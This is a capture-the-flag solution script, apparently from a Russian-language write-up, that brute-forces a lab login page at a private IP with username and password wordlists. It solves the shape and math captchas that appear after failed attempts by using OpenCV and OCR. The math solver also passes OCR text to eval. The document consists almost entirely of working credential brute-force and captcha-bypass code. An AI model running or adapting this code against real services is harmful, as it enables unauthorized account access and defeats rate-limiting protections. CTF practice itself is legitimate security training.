Код решения
import requests
from bs4 import BeautifulSoup
from PIL import Image
import pytesseract
import cv2
import numpy as np
import base64
import io
url = "http://10.10.5.80/login"
with open("usernames.txt", "r") as f:
usernames = f.read().splitlines()
with open("passwords.txt", "r") as f:
passwords = f.read().splitlines()
def send_request(username, password, captcha=None):
data = {
"username": username,
"password": password,
}
if captcha:
data["captcha"] = captcha
headers = {
"Host": "10.10.5.80",
"Content-Length": str(len("&".join([f"{k}={v}" for k, v in data.items()]))),
"Cache-Control": "max-age=0",
"Accept-Language": "en-US,en;q=0.9",
"Origin": "http://10.10.5.80",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://10.10.5.80/login",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
}
response = requests.post(url, data=data, headers=headers)
return response.text
def solve_shape_captcha(image_data):
image = Image.open(io.BytesIO(base64.b64decode(image_data)))
image = np.array(image)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
_, thresh = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)
contours, _ = cv2.findContours(thresh, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)
for contour in contours:
approx = cv2.approxPolyDP(contour, 0.01 * cv2.arcLength(contour, True), True)
if len(approx) == 3:
return "triangle"
elif len(approx) == 4:
return "square"
elif len(approx) > 10:
return "circle"
return "unknown"
def solve_math_captcha(image_data):
# Преобразуем base64 в изображение
image = Image.open(io.BytesIO(base64.b64decode(image_data)))
text = pytesseract.image_to_string(image, config='--psm 10 --oem 3 -c tessedit_char_whitelist=0123456789+-*/=')
return str(eval(text.split("=")[0].strip()))
def solve_captcha(response_text):
soup = BeautifulSoup(response_text, "html.parser")
captcha_image = soup.find("img")["src"].split(",")[1]
if "Describe the shape below" in response_text:
return solve_shape_captcha(captcha_image)
else:
return solve_math_captcha(captcha_image)
for username in usernames:
for password in passwords:
response_text = send_request(username, password)
if "Detected 3 incorrect login attempts!" in response_text:
print("Solving captchas...")
captcha_solutions = []
for _ in range(3):
captcha_solution = solve_captcha(response_text)
captcha_solutions.append(captcha_solution)
response_text = send_request(username, password, captcha_solution)
print(f"Captchas solved: {captcha_solutions}")
if "Flag.txt:" in response_text:
print(f"Success! Username: {username}, Password: {password}")
print("Flag:", response_text.split("Flag.txt:")[1].strip())
exit()
if "Invalid username or password" in response_text:
print(f"Failed attempt: {username}:{password}")
continue
print("No valid credentials found.")
Видео выполнения